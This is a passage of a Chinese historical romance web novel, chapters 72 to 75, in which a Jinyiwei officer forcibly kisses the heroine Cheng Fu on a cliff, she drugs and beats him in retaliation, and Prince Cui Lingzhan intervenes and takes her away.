适才邀往雅间实在是误判。主要是程芙盘着妇人发髻,而荀叙一脸殷切,目光灼热,很难不让人往如胶似漆的小两口方面想。 小桃和进宝则在楼下的位置用餐。 两盏茶后,程芙吃到了再也忘不掉的鱼饺和鱼面。 饺子的馅料依稀可辨鲜虾和蟹黄,虽是河蟹的蟹黄,可在这个季节吃到已是非常难得了。 她简直不敢相信自己的舌尖儿,把鱼饺咽下肚才殷殷道:“荀大哥,这么好吃的东西居然在民间售卖,实在不敢相信。” “笨蛋。能在民间售卖说明皇宫已经不稀罕,这是五年前的老菜式。”荀叙笑,“主厨的师父正是研制这道菜的御厨,告老还乡时,太后慈恩将这道御菜赐予他,至此才得以在民间传播。” “没想到还真有御厨的典故。” 程芙低头又塞了一只鱼饺。 那么小的樱唇张开,啊呜一口竟吞掉一只鱼饺,吞……吞掉了……荀叙盯着她嘴巴发呆。 她却盯着盘中半透明的鱼饺。 这厢店家点头哈腰在前面引路,“官爷小心脚下,官爷这边请。” 五名带刀官爷拾阶而上,阔步走向雅间的方向。 凌云一眼就发现了靠窗位置的程芙,背朝着他,正与一名明显对她不怀好意的男人忘我调-情。 这才几日就有了新的相好? 真是一刻也闲不住。 枉他苦心经营,本本分分跟她说好话。 当然他也理解她的不得已,总有该死的蚊蝇围着她—— 作者有话说:求营养液,呜呜呜,谢谢大家~~~~[爆哭][爆哭] 第73章 荀叙用公筷将自己那盘鱼饺拨了一半给程芙。 那么喜欢吃好吃的, 眉眼都在发光,满足的小表情溢出了幸福,这让他也感觉特别安心、雀跃。 发现荀叙把鱼饺分给自己, 程芙脸一红道:“不可。我还有鱼面没吃, 吃不下这些鱼饺。” “简单。”荀叙将她碗里的鱼面拨了一半给自己, “我帮你吃面。” “可是面……”程芙觉得荀叙不可能没看见那碗面已经被她动过, 且吃了好几口,他居然全无芥蒂拿去吃了! 荀叙吃了一筷子鱼面, 慢慢咀嚼,脸颊微微动, 眼帘一抬, 用眼神询问程芙还有何事? 程芙:“……” 吃都吃了,还是不说吧,不然更说不清。她忙摇了摇头, 专心吃鱼饺。 荀叙见她不碰店家特制的辣蘸酱,想到她是澹州人,应是吃不惯这么辣的口味,便拿起旁边那只精美的白瓷壶,从中倒了一碟格外鲜香的醋汁,推给她。 “尝尝这个。”他说,“学会吃辣前我只蘸他家自酿的香醋, 味道特别鲜美。” 她被服侍得极妥帖, 也有些惶恐,“谢谢荀大哥。” 长这么大荀叙是第二个在她用膳时体贴入微的男人,好似她不会吃饭一样,时刻都需要人照顾。 另一个是谁,她不愿去想。 荀叙见她终于动容, 料想火候差不多了,就柔声细语哄她:“其实我还知道一家味道更好的,可是他家只接待两名以上的客人……” 程芙:“带一个朋友去便是。” 他神情一皱,落寞道:“我只有你一个朋友。” 传闻可不是这么说的。一堆的人追捧他,姑娘看见他都走不动道儿,他的嘴天生抹了蜜,一开口便会撩。程芙委实不相信,“怎可能,你做了什么天怒人怨之事?” 荀叙委屈地拨了拨面条,小声道:“有段时间我不是当了仵作,嗯,你懂的,然后就没朋友了,你不会也嫌弃我吧?” “我不会。”程芙道,“虽然我很怕鬼,可是我觉得仵作替逝者说未尽之言,功德无量,令人敬服。” “说是这么说,可我还是被孤立了。” 说至伤心处,他清澈的眼瞳像一块湿濛濛的乌玉,程芙唯恐他真的碎掉,忙道:“以你的条件,重新结识志同道合的并不难。我倒认识一个稳重的人,与我同龄,性格极好,定不会嫌弃你。等他考完试,我为你们引荐。” “男的女的?” “男的。” “认识多久?” “小时候就认识。” “我才不要为了一顿饭专门结识人,我不稀罕。”荀叙掏出帕子,探手轻柔擦了擦程芙溅了一滴汤汁的粉腮,而后收回,神色自然道,“但你认识的人,人品肯定好,有空再说吧,下个休沐我们先去吃。” 程芙:“……” 凌云快被这二人黏黏糊糊的亲热劲恶心死了,对左右同僚灿然一笑,“我跟熟人打声招呼,你们先去。” 众人依言先去了雅间。 凌云:“荀御医。” 荀叙讶异,起身抱拳拱了拱,“凌佥事。” 凌云抱拳回了荀叙一礼。 程芙闻声忙站起,错愕了一瞬,旋即福身行了一礼,“凌大人。” 叫别人大哥叫他大人,他这个与她出生入死过的老熟人连荀叙都比不过。不过想到她一惯利用完他就撇清关系,便又释然。 他斜眸睨向她。 程芙:“……?” 凌云眯眸一笑,“程太医。” 见他笑容可掬,程芙扬唇弯弯而笑,明媚娇俏,凌云目中有微光闪过,愣了愣。 “您也来进香吗?”她问。 看不出锦衣卫也信佛,有这个想法并非她刻薄,而是正常人都会不由自主联想。 “不,我来抓朝廷重犯。” “……”程芙嘴角扯了扯,“这样啊,那不耽误大人……” “好,我不耽误你和这位荀御医用膳。”他对着荀叙哂然一笑,“这桌记我账上。” 最后一句自然是对身后抄着手的店家说的。 “好嘞,承大人惠顾。”店家点头哈腰道,“小的前儿收了一坛佳酿,正想着送去凌府孝敬,您就过来了,马上就给您搬去品鉴品鉴,全当是小的一片孝心。” “谢了。” 凌云拔腿就走。 程芙轻声唤他,“大人。” 他脚步微顿,没有回头。 “大人,今日原是我做东,怎好让您破费。” 主要她还欠着他一顿饭,莫名其妙又白吃白喝他的,总觉得不踏实。 不知道怎么地,凌云笑吟吟的模样使得一个念头浮现她脑海——他生气了。 她不知道该如何解释,反正就是感觉到了他的愤怒。 让锦衣卫愤怒可不是什么好事,所以她跟他说话的声音都比方才柔软了三分,尽量显得温存又和气。 没想到这份温存和气真的管用,他周身萦绕的摄人冷肃骤然一轻,无形的压迫力随之削减大半。 程芙听见自己轻轻缓了口气。 凌云扭头看着她,慢慢总结:“你很喜欢请别人吃饭哈。” 程芙:“不是,就是赶巧了……” 是挺巧,请他吃二十个铜板一碗的羊肉面,请荀叙的则是抵她一个月俸禄的鱼饺。 荀叙自己过惯了好日子,竟真要她来这种地方请客,观她神色怕是对价格一无所知。 凌云无视面色异样的荀叙,继续凝视程芙,“那就当我请荀御医吃,待会儿记得把你那份的钱还我。” 还能这样? 程芙:“……” 荀叙:“……” “凌佥事。”荀叙突然叫住他,“帐我自会结,不必麻烦你了。阿芙胆子小,你这样说她可能会当真。” 此时去而复返的店家正要张嘴回禀凌云这一桌的账目方才就被荀府下人结了,视线冷不丁对上了一双阴沉沉的深眸,吓得他浑身一激灵,直勾勾瞅着凌云,嘴巴张了老半天,最后什么也没说,悄悄地挪到了一个不碍事的角落。 凌云踅身看向荀叙,与他四目相对片刻,“那不好,阿芙既然请你吃,怎好变成白白吃你的饭?” 说着,厉声一喝,“把荀府的帐退了,记在我名下。” 店家差点吓尿了,哆哆嗦嗦瞅瞅脸色越来越难看的荀公子,再瞅瞅阴鸷的凌佥事,还是凌佥事更吓人,他带着哭腔应下,一溜烟滚下了二楼。 程芙的状态也不比店家好多少,眼珠子从左转到右,没敢吭声。 “鱼饺好吃是不是?当心自己被人蘸着香醋一道吃了。”凌云冷冷瞪她一眼,甩袖离开。 那荀叙耍她跟耍猴儿似的,心里怎生一点数没有。 程芙的脸涨得通红,什么意思? 怎么听着味道不对,好似她专事骗吃骗喝。 被扫了兴,两个倒霉蛋程芙和荀叙草草用完饭。 店小二端来黎檬薄荷茶水供客人漱口净手净面,味道居然跟燕阳的一模一样,十分清新,幽香自然。 下了楼,程芙问店家多少银钱,想着有机会还给凌云。 店家道:“承您惠顾,已记在凌佥事账上,共六两五钱。” 多少? 程芙眼睛发直。 她一个月俸银才四两,加上车马仆役补贴杂七杂八算七两,这一顿饭就要六两五钱? 怎么不去抢啊? 走出店门,荀叙对她解释:“主要是食材贵。用的六合江的小黄鱼,巴掌大一条就要一两银子。取小黄鱼肉糜加少许红薯淀粉揉成面团状,再擀成薄如蝉翼的饺皮,这个季节的鲜虾肉和蟹黄又贵得离谱,一顿下去六两五钱很正常,早两个月吃的话一顿可能要三十两呢。” 天越冷小黄鱼越稀有。 他没有透露店家所言的价格其实只有真实的一半。 锦衣卫的大官过来用饭,正常情况谁敢收钱,但凌大人从不吃白食,店家只好收些本钱,手工权当是孝敬。 程芙咽了咽,切身地体会了一把贫富差距。 把她差点儿吓断气的一顿饭,在荀叙眼里只不过小馆子随便吃吃…… 所以她没敢表现出特别惊讶特别懊悔。 却有点怕了荀叙,再不敢随意答应他去任何地方吃饭。 这么个吃法,早晚把她吃得骨头渣不剩。 出来时巳正已过,春光正好,程芙送了荀叙一串新鲜的糖葫芦,蜜橘和苹婆果做的。 “这个给你。时候不早,再不回去我姨母会担心的,回见。”程芙朝他挥挥手作别,转过身,小桃搀扶她登上骡车。 荀叙失魂落魄捏着糖葫芦,目不转睛望她。 骡车驶离,她在车子里也不知打开窗看看他。 他从不知除了毅王,还有一个凌榆白。 她居然和凌榆白很熟,有许多故事的样子。 荀叙想起凌榆白看过来的眼神,凌厉幽寒,那般不善,将他的小计俩看得一清二楚,毫不避讳地渗出恶意与警告。 可是追求姑娘家本来就要斗智斗勇,用点心机怎么了,他又不是不负责! 多管闲事! 一想到阿芙还有个发小,荀叙气不打一处来,忙活半天,他不仅仅剃头担子一头热,人家还有一大群裙下之臣。 这姑娘怎么回事啊,一堆的男人,也不知道保持点距离,转念一想,她要是谨慎非常也就没有自己下手的机会。 头疼。 罢了罢了,这么麻烦的姑娘且又不喜欢他,他也懒得玩下去。 荀叙把糖葫芦丢给随从,扳鞍跃上马背,双腿用力一夹马腹,飞一般狂奔回东郊别苑。 他有一堆的医书还没看,再也不想在姑娘身上浪费大好时光。 这该死的马今日跑得忒慢了些,他狠狠甩了下皮鞭,骏马嘶鸣,四蹄奔驰,银色的皮毛化成寒光,犹如一道离弦之箭。 把两个人搅和了,看着他们分道扬镳,一个往东一个往西,凌云哼笑,抓起桌上的佩刀,“我去去便回,你们且在老地方蹲守。” “是,大人。” 他头也不回跨出雅间,噔噔噔下楼直追而去。 荀叙到底还是嫩了些,三两句话就醋上天,错失大好时机。 这种娇气的公子哥顺风局什么都好说,一旦逆了心意根本不会真正哄女孩子。 果然,一对上情敌,又得不到阿芙的正向反馈,他就高傲了,打退堂鼓了。 凌云觉得很有趣,阿芙身边就没有一个可靠的人,她就是个小可怜。 所以他追过去是为了看她的笑话。 嘲笑她:“荀叙可能再不会搭理你,你错过一门天底下最合适的姻缘。你可知他手里有多少产业?在太医署有多受重用?他有的可不止是医术。” 荀叙是世上最适合她的男人。 她没有抓住。 凌云幸灾乐祸地想。 没想到小小骡车跑得挺快,他追了好一段路才看见一个小黑点,正驶过夕水桥。 不多会儿他和骏马也化成了小黑点,所经之处黄土飞扬,追上了小小的骡车,径直越过去一个急转横挡,驾车的进宝“啊啊”尖叫着收紧缰绳,往旁边疾停,把车厢里的程芙差点甩飞。 她和小桃狼狈地稳住身形,忙打开车窗探出头,问:“发生何事?” 有人拉开车厢的门,撩起布帘,上午的阳光一股脑涌入,程芙微微侧首,眯眸打量逆着光的高大身影,反应了一下才认出来人,“凌大人,你……?” 凌云长手一掠,攥着她腕子,将人带出车厢,在小桃和进宝此起彼伏的惊叫声中拦腰提起程芙,往自己马背上一丢,翻身跃上马,“驾——” 骏马一扬蹄子,任由身后的骡车追冒烟也没追上最后一缕尘。 程芙一张嘴就灌了一大口风沙,呛得直咳嗽,忙以袖掩口,“你有脑疾吧?咳咳咳,我做了什么,让你一照面就对我发疯,放我下来——” 凌云驭马载着她一路向东,去了隆福寺附近的那座山,沿着山路盘旋而上,风越来越大,把程芙的脸吹得生疼。 她益发不安,大喊大叫,“我究竟哪里得罪了你,你到底要干嘛?” 凌云抿唇不答。 直到山顶悬崖边,凛风将她三魂六魄吹散了一大半。 她浑身一抖,猛地抱住凌云胳膊,死也不撒手,失声尖叫:“我晕高,求求你莫吓我!你快瞅瞅脚下,马蹄子稍稍有个闪失,咱俩今日都得粉身碎骨。” 凌云抬手指着山下广阔的秀丽山水和田庄,以及天际一线模模糊糊的巍峨建筑,“那边,那边,还有最那边都是荀叙的。他的亲祖母是荀阁老的继室,乃范阳卢氏长房嫡女,仅生一子,便是荀叙的生父,堪比国库的产业将来有一半是荀叙的。” 程芙一张小小的面孔煞白,颤声问:“那跟我有什么关系?” “你不该错过他。” “我错不错过与你何干?你喜欢你去追啊,何苦折腾我……” 她紧咬朱唇。 不敢挣扎也不敢太大声,唯恐一丝丝微小的外力惊动身下的马。 凌云低头看她,好奇她的眼睛为何有那么多的水光晃动。 受了天大的委屈不知道哭,疼了难过了也不知道哭,怎么一沾上死立即肝胆俱裂? 胆小鬼。 他柔声说:“掉不下去,除非你推开我。” 原本只是抱着他胳膊的人,闻听此言,僵了僵,扭头投进了他怀中,死死抱住了他的腰。 她抱着他,他的心就融化,单手捏住她脸颊,迫使她仰首面对他。 他的眼神炽热,“反正你也不会再遇到更好的人,那就跟我吧。” 滚烫的唇裹挟着陌生的气息压下来,程芙在一阵阵窒息中疯狂扭动,渐渐偃旗息鼓,她的脸憋得发紫,最终求生的本能战胜一切,她张大了嘴,急迫地呼吸。 陌生的舌也推了进去。 拙劣的吻技险些将她折腾死过去。 一滴泪沿着她的眼角徐徐滚落。 恨凌云,恨崔令瞻。 恨不得他们立刻死掉—— 作者有话说:谢谢支持[求你了][求你了] 第74章 终于尝到了日思夜想的味道。 他捧着她的脸, 采撷一朵浓艳绮丽的海棠。 气息暖暖的甜香,他不喜欢甜食,却喜欢甜甜的她, 一朝如愿, 他在粉身碎骨的悬崖大快朵颐。 如此嫩如此柔, 止不住战栗, 满目的情-火染上猩红,他想感受她血肉的温度, 跳动的脉搏,发掘狂乱尽头的秘密, 与她完全地融合, 似树与藤。 但他知道自己糟糕的吻技给她留下了深深的阴影。 只能凭着感觉一下一下轻柔安抚她饱受摧折的唇瓣。 怀里的人不再挣扎,只剩短促的呼吸。 想来毅王的技术也不怎样,这么久了都没教会她, 她一点也不懂如何应付他如何让自己舒服些许。 凌云驭马离开崖畔,循着原路慢慢往山下走,也慢慢地松开了钳制。 莫名就想起了初见,春寒凉薄,她穿着粗糙的短褐站在石头阶上,乌云般的长发乌黑的眼,如雪的肌肤苍白的唇, 粉腮却红扑扑的, 一眨不眨盯着毅王。 羞涩的少女。 她把一个即将伤害她的男人深深放进心里。 当初要是早点带她离开便好了,不叫她眼巴巴地苦求,惶惶不可终日,最终迫于无奈逢迎毅王。 便不会有之后的种种痛苦。 或许她还会因此喜欢他,依靠他。 现在她应是在想如何杀了他吧…… 停止了, 程芙动了动僵硬的身子,离开凌云的怀抱,低头用袖子擦了擦。 凌云以为她擦眼泪,那么委屈当然要哭了,垂眸看去,她在用力地擦嘴。 把原就红-肿的唇瓣擦的更肿了,整个嘴周一圈都是红的,犹如含着两截红色的香肠,神情木木,似有怆然,仿佛受惊过度正在舔舐伤口的小兽。 如果是平时,看见红了一圈肿肿的小嘴巴,他或许会笑,可是现在无端不安与恐惧袭上心头,冲淡了过电般的酥骨麻魂,理智回笼,瞪着自己做的孽,笑不出。 只剩无措。 “痛不痛?”他嗓音微哑,指腹轻轻触她嘴角。 程芙别开脸,双手揣进了袖中。 “别气了,你要什么,我补偿你好不好?”他低柔道,“再说你也没吃亏,我的嘴都被你咬烂了。” 他嘴角破了皮,下嘴唇又红又肿,一排牙印,还挂着血丝。 经验尚浅的他没想到捏开她上下颌的方式,那样既不让她痛也方便自己施为,更没想到看似柔弱的她如此凶残,若非捏住她鼻端不让她呼吸,她都不撒口。 她主动攀附他凶恶地撕咬,贴紧他的唇,看起来就像是索吻。 一种病态的快意在他胸臆沸腾。 程芙把手从袖子里拿出,问:“可不可以给你一耳光?” “我都被你咬成什么样了……可不可以别打我?”他问。 “……”程芙抬眸看着他。 “行。”凌云说,“打吧。” 她扬手招呼过来,比巴掌更快袭来的是掌风带起的粉末,粉末很细,纵然他反应迅敏,偏首躲过,应该也吸入了少量。 程芙一手捂着口鼻,另一手还要往他嘴里抠,却被他攥住腕子一绕,把她的脖子和手臂固定住,她动弹不得,但这只是暂时的。 少卿,凌云的眼神就开始涣散,问她:“麻沸散?” “是。一瓶足以麻倒十个壮汉,你该庆幸我今日出门没带见血封喉。”她磨了磨牙,“没想到你还没倒。” “这就倒。”他拥着她从马背滚落。 程芙惊叫连连,本能地用他的肩膀护住头,幸而她在上面拿他当垫子,侥幸躲过一劫,甫一稳住身形,腾起就撑起上半身,两腿-分开跪在他上方。 只见凌云的瞳孔微微放大,眼神飘忽,表情却十分镇定,“你要对我做什么?” 她没回答,劈手给了他一记耳光。 力道大得震麻了指端乃至手臂,好痛,她攥住手,凌云依旧动也不动,唯有挨打的那侧脸颊渐渐浮起红肿的指印,嘴角的伤口再次裂开,缓缓溢出鲜血。 “你说我要对你做什么?”她终于哭了,放开嗓子张大嘴巴,抡起拳头劈头盖脸捶打他,“你也有今日?我请你尝尝任人宰割的滋味,一腔悲愤却无一丝力气抵抗!” “疼,轻点。” “我偏不!”她喊道,“为何要欺负我?为何都要欺负我?去死啊,我要打死你!!” 她化成了狰狞的小兽,露出獠牙尖叫与咒骂,誓要将他撕碎。 凌云平静地凝视歇斯底里的女人,直到她宣泄完,打不动了,小小的脸上挂满泪痕和鼻涕,才笑了笑,问:“只是恨我才气成这般还是把我当成了他?” 这话可将她点着了,程芙暴跳如雷,粗鲁地扯下他的发带,又长又结实,墨色的缎面,很好,非常好,就着他脖颈绕了一圈,恶狠狠道:“实话跟你说,我倒也没那么怕死,今天就杀个人给你下酒。” “我不信。” “我会让你相信的。”她长睫扑簌泪珠滚落,是对死亡的无边恐惧,“现在我就勒死你,再一把火烧了你的公服皂靴,把你推下悬崖摔成碎片,叫谁也认不出!” 凌云:“傻瓜,勒死我再推下悬崖和直接推下有何分别?你不累吗?你还有力气?” 她一点力气都没了,全用来拳打脚踢他,十根纤细的手指红肿,扯着发带绕掌一周,用力朝两边抻,手掌登时剧痛。 不确定自己能忍住这样的剧痛勒死一个人。 程芙:“你说的没错,现在我就把你推下去。” 勒死的样貌着实恐怖,真不如摔死,将他推下悬崖毁尸灭迹,眼不见为净。 她扒下他的公服和皂靴,从他身上翻出火折子。 凌云:“先试试能不能拖动我,或者给我解了毒,让我自己走过去。” 程芙惨然一笑,当她是二百五吗?给他解毒,不如直接叫她把自己捅死。 “我现在就送你死,我要你死!”她泣不成声,生平第一次杀人。 可她竟连抱起他上半身的力气都没有。 麻沸散不仅让人失去痛觉更失去了行动的能力,状态类似瘫痪之人,极沉,更何况凌云还比她重了几十斤,又那么高,她如何拖得动? 看起来瘦的男人,仿佛用铜铁浇筑,程芙使出吃奶的力气撕扯他,才将人拖行了一小段距离,身后的悬崖遥不可及。 而她已是发髻凌乱,领口歪斜,气喘如牛。 凌云:“要不挖个坑将我就地埋了,也是神不知鬼不觉。” 折腾到现在,哪里还有挖坑的力气。 程芙摇摇晃晃,瘫然委顿在地,终于肯作罢,抱着膝盖哭泣,肩膀一耸一耸的。 凌云默默注视她,哭声忽然戛然而止,程芙恶狠狠扭过头,红着眼眶死死瞪着他。 “想到如何处死我?”他睁了睁眼眸。 “……” 程芙眼底飞过一丝慌乱,双手微微抖,最后发了狠,再次扑向他,一把扯下自己的发钗,喊道:“我要阉了你!断了你的红尘根!” 凌云:“……?” 两人面面相觑,一个目眦欲裂,一个微微皱眉。 凌云:“那不如对准脖颈,手起钗落,血一会就能流干。” 程芙的神色几番扭曲,张了张嘴,他叹息道:“何必先阉后杀。” “我只阉你,不杀了。” “如此境况切掉它,我必死无疑。就不能单戳脖子吗?干嘛针对它?它是无辜的,一下都没碰过你。” “我不切,就挑断它一根筋!别以为我不懂男科,挑完你就再也举不起,反正你们锦衣卫本来就有许多公公。” “你来真的?”他问。 “你看我像跟你开玩笑?”她哭红的双眼红肿,被他欺负过的双唇亦红肿,哪里还有一点体面尊严,“先拿你试试手感,下一个就是崔令瞻,我叫你俩不得好死!” 她要把他们全部阉掉! “你能不能专心恨我,跟我在一起时不提他?” “你闭嘴!”她高举发钗,空着的手就去扯他裤腰带。 凌云一张伤痕累累的小白脸顿时涨得通红,慌忙攥住她的手,“够了。” 程芙:“……?” 麻沸散的药力这么快就失效? “傻瓜。” 他只是想让她消消气,哪知她来真的。 “你耍我?” “没有,难道你希望我还手?” “……” 程芙听见了一声怒吼,原来是从她嘶哑的喉咙发出的,握紧发钗的右手卷着一阵风朝他挥去。 凌云抬臂阻挡,任由她刺伤了他手臂的血肉,锥心刺骨,“你冷静一下,我没有愚弄你的意思。” 骏马回头看看地上狼狈的男人和发了疯的女人,不理解他们为何滚下去,见他们始终没有再上来的意思,便走向草丛,悠闲地啃山道上新生的春芽。 这场厮打并未持续太久,有人打断了他们。 打断他们的人厉声呵斥:“放肆,你们在做什么?” 程芙和凌云的身形同时僵住,同时扭头瞥向不速之客的方向,是毅王崔令瞻。 他身后的亲卫忙侧过身,默默祈求一双什么也未看见的眼。 现场一度诡谲。 狼狈的凌云面红耳赤,绸缎般的墨发乱糟糟披于后背,公服皂靴散做一团。 而程芙也好不到哪里,面目狰狞,领口松散,露出大片雪肤,眼眶红红的,一张樱桃口不知遭遇了什么,更红更肿,发髻毛毛躁躁,裙摆凌乱,连绣鞋也丢了只,光着凝脂似的纤足,奋力撕扯凌云的中裤。 崔令瞻面无表情扫射着二人。 凌云慌忙站起身提裤子,程芙却再也支持不住,晃了晃瘫坐地上,不言也不语。 崔令瞻如山岳般的身影覆盖了正对着她的光线,视野所及暝黯如荫。 他一步步逼近了她。 “是他!”程芙尖声喊道,“是他强行玷-污我。” 那就玉石俱焚吧。 崔令瞻俯身扶她,“小点声,我看看伤势,听话。” 未料她竟一蹦三丈高,不依不饶指控凌云。 凌云的面色有一瞬间的铁青,张张嘴巴,而后冷笑了声。 崔令瞻的脸色更难看,眸光一言难尽。 程芙愣怔。 愤怒、慌乱和激动使得她跳起来的动作过于矫健。 以凌云的手段和体魄,若真对她用强,莫说跳了,此刻的她怕是站起来都困难。 程芙:“……” 崔令瞻:“……” 凌云:“……” 令人窒息的尴尬过后,崔令瞻看清了程芙的模样,震怒随之而来,连额头的青筋都隐隐浮出,“凌榆白,你怕是条水蛭!畜生!如何忍心把她嘬成这副模样,叫她如何出去见人?” 到底不是自己的女人不知道心疼,凌榆白简直不是人! 阿芙的嘴肿得崔令瞻心惊肉跳,这是被抱着脑袋生啃过吗?—— 作者有话说:感谢支持,没有二更了,休息休息,大家也早点睡呀[抱抱] 第75章 此言一出, 崔令瞻旋即看清了凌云的样子,视线在他一排牙印的嘴唇上定住,面色微沉, 而后看向程芙。 “你咬的?”他问。 “……”程芙移开视线, 梗着脖子。 不说话便是默认了, 其实就算她否认, 崔令瞻也已猜个七七八八,再看向凌云时毫不掩饰心底的杀气。 凌云穿戴整齐, 一手负在身后,一手按住佩刀, 这时一位许久未见的老熟人打破了僵持, 她是芳璃,原来早就来到京师。因程芙对她颇有戒备,崔令瞻才一直未遣她去程芙身边。 今时不同往日, 王爷对上芙小姐,就像是小儿点炮仗,又爱又怕,等闲不敢逆她心意。芳璃在心里腹诽,三步并两步走到崔令瞻面前抱拳回禀:“王爷,马车已到半山腰。” 程芙出了事,崔令瞻甫一得知消息立即赶往福隆寺, 因不敢过多耽搁, 此行难免落入有心人眼中,故而半路吩咐芳璃回去准备一辆马车。 他做了最坏的打算,回来时以马车掩人耳目。 还好事情的发展虽匪夷所思倒也没有想象的糟糕。 芳璃回禀完毕拿眼偷偷觑了觑程芙,当然也只有一眼,复又低下头去。 崔令瞻目不转睛盯着凌云, 二人四目相对,不啻拔剑亮刃,火星四溅,毕剥作响。 沉默须臾,他嘴角牵起一抹冰冷的笑,解下斗篷包住倔强的阿芙,横抱起她,淡淡吩咐左右:“凌佥事多次出言不逊,目无尊上,今日更是色迷心窍,意图强占本王宠婢芳璃。把他拿下,留口气,本王要与他一起面圣。” “我?”芳璃指着自己的鼻子,嘴角抽抽,“宠婢?” 当人特别无语的时候真的会说不出话。 她就知道毅王叫自己过来准没好事。 呵呵。 芳璃把怒气都撒到了凌云头上。 双方打得不可开交。 程芙始终垂着眼帘,没抬头也没往崔令瞻身后看,打斗声越来越小。 半山腰果然有辆黑色的马车,驾车的亲卫早已布置好车凳,迎上毅王服侍登车,扬鞭催马离开了是非地。 马车上,程芙裹紧斗篷,把脸扭向左侧,左侧的车围子一排镂空的花纹,可分辨西番莲和如意云,寓意美好,同她眼下的处境南辕北辙。 她专心致志研究这些繁复的木质雕刻,直到足尖传来暖意,不知何时崔令瞻坐到了这一侧的榻,温热的手掌握住她脚背,将她右脚提于胸前,另一手从橱柜拿出方棉帕子,仔细擦拭她的脚掌,丢了鞋袜后沾染不少尘土,黑乎乎,他也不嫌脏…… “我自己来,不要你管……”程芙终于开口,想缩回自己的脚。 崔令瞻:“小几下方有抽屉,自己取药膏把嘴涂一涂。” 他一提醒,程芙才觉知嘴巴不太舒服,进而想到了和凌云的激烈战况,心口生疼,再开口声音就尖锐了不少。 她大声质问崔令瞻:“为何不直接杀了凌云?” 深山野林,崔令瞻占尽天时地利人和,杀个人根本不费吹灰之力。 没想到他这般无用,竟忌惮一个正三品的官儿,程芙在心里刻薄地想:还不如把凌云哄好,唆使其杀崔令瞻。 起码凌云看上去谁都敢杀。 因亲王超品,她便觉得他杀其他品秩之人易如反掌?崔令瞻冷冷道:“凌榆白是皇祖父的人,若因一个女人而死,你以为那个女人还能见到明日的太阳?” 人要是死了,景暄帝必然勒令追查,而今日之事发生的太过突然,不可能完全掩人耳目,届时一场命案的“缘由”——程芙,头一个在劫难逃。 景暄帝定会杀了她泄愤。在皇帝眼中,任何引起男人血光之灾的女人都不配活着。 程芙嘴唇嚅了嚅,凝噎住。 “我不窝囊。”崔令瞻说,“我有软肋,我舍不得你。” 程芙忿忿别开脸,却没有顶嘴。 顿一顿,忽想起他离开前说的话,心头一紧,“既如此为何还要同他一起面圣?闹到皇上跟前,两相对峙早晚扯出我……” “他和我抢的人是芳璃,与你何干?” “可他有嘴。” 崔令瞻撩眼斜睨她,“他宝贝你都来不及,哪里舍得牵扯你啊?” 皮笑肉不笑讥讽她招惹凌云,自食恶果。 这番话像把小刀子,把她伤痕累累的心又划了道口子。 程芙口中发苦,累了也倦了,淡淡道:“你这般无耻,莫非也是我勾引的?” 崔令瞻脸色一沉,哼笑道:“是,就是你勾引的。” 程芙冷笑,比起呈口舌之快,此刻的她更关心一个被卷进来的无辜受害者,“那也不能让芳璃替死,我一人做事一人当。” “凌云不死,芳璃便死不了。” “……”程芙缓缓松了口气,“如此一来,皇上就不会惩罚芳璃对不对?” “算是吧。” “算是吧是何意?” “皇上应会直接将芳璃赐给他做妾,我不清楚这对女人来说算不算惩罚。” “你疯了,我自己的灾厄凭何要牺牲别的女儿家?如是这样,我一生都难安。” 程芙的确怕死,更不想被皇上赐给凌云,但再难再倒霉都是她一个人的事,还不至于懦弱到用另一个无辜女孩当替死鬼。 见他无动于衷,她急了,踢一踢他。 他不悦地瞪她,将白玉秀足固定胸口,“有没有可能凌云比你更急?他疯了才敢接手芳璃。” 一个暗卫,且是毅王的人,凌云没必要跟自己过不去。 “为何不直接告诉我芳璃不会有事?看我着急,失张失智,是不是很有意思?” 崔令瞻愣了下,第一次有种跟女人说话说不到一起的念头。 她问什么他答什么,怎又得罪了她? 转念一想,她受了天大的委屈,心情糟糕透顶,一时敏感多思,实乃情理之中。想通了这些,他哪里还舍得与她计较,心疼道:“好,我错了,行了吧?” 程芙:“……” 他从袖中掏出贴身的帕子,包住她的右脚,缠一圈打了两个活结,动作温柔又细致。 阿芙人不大,脚也小小的,他越看越爱,爱她的每一寸,哪怕眼面前的她丑丑的,他也甘之如饴。 伸手将她抱进怀里,揉揉她脑袋,崔令瞻好声好气道:“我放心不下你,今日咱们暂回锦山,心平气和说说话行不行?柳医女那边,我已遣人知会。” “我不!”程芙用力推他胸腹,伤心道,“我要回家。” “你这幅样子回去,柳医女更担心,而我,知根知底的,她虽不高兴却也不至于寝食难安不是?” 程芙攥了攥手心,低头垂泪。 “别怕,我发誓今晚绝不欺负你。”他举着三根指头信誓旦旦,又道,“便是信不过我,你还不信自己吗?快用靶镜瞅瞅,我得多禽兽才能下得去手……” 程芙怔然一愣,忙掏出荷包里的小靶镜,登时两眼发黑。 片刻之后,崔令瞻蘸着药膏一点一点为她涂抹,柔声哄道:“也不是很丑,你在本王眼中可漂亮了。” 他撒了一个善意的谎,其实她好丑啊,可他太喜欢她,不忍她难过。 “凌云吻技真烂,我就说他不是对女子有耐心之人,把你嘬得没个人样。你若真落进他手里,便知本王才是天底下最疼你之人。” 思及此,崔令瞻想起凌云满脸的巴掌印,还被抓花了一块,嘴上一排牙印,就止不住快意,只惋惜打得太轻。 阿芙的力气到底还是小了些,挠痒痒似的,便宜了凌云。 消肿化瘀的药膏冰冰凉凉,涂抹完毕,程芙感觉嘴巴轻盈些许,惊吓和疲惫随之一股脑涌上心肺。 她没有力气再吵架,默默仰躺在崔令瞻的臂弯,目不转睛盯着他。 马车晃悠悠,他的臂弯也微微晃,晃得她眼皮发沉,有滚烫的指腹轻柔蹭蹭她脸颊。 将阿芙安置在漪碧园,崔令瞻换了公服准备进宫。 临行前亲亲她额头,“睡吧,本王不嫌弃你还没沐浴就躺在本王的床上。” 程芙背过身,一句话也懒得说。 崔令瞻腆着脸自讨没趣,悻悻离开了寝卧。 未初刚过去不久,准备去新封的美人宫里坐坐的景暄帝听闻内侍回禀:“陛下,毅王在宫外有要事求见您。” “朕没空,叫他明日再来。” 内侍弓着腰,诚惶诚恐道:“回陛下,似乎有挺严重的事,押着凌佥事一道过来的。” “押”这个字眼立时让情况变得微妙起来。 景暄帝皱着眉,怫然不悦道:“莫不是又掐仗,叫他们去偏殿等候。” 凌云伤了阿芙,崔令瞻不可能无动于衷,可凌云到底是皇祖父的宠臣,不明不白被打个半死焉能没个交代?心知这一遭躲不过,那不如主动面圣,也好参凌云一本。 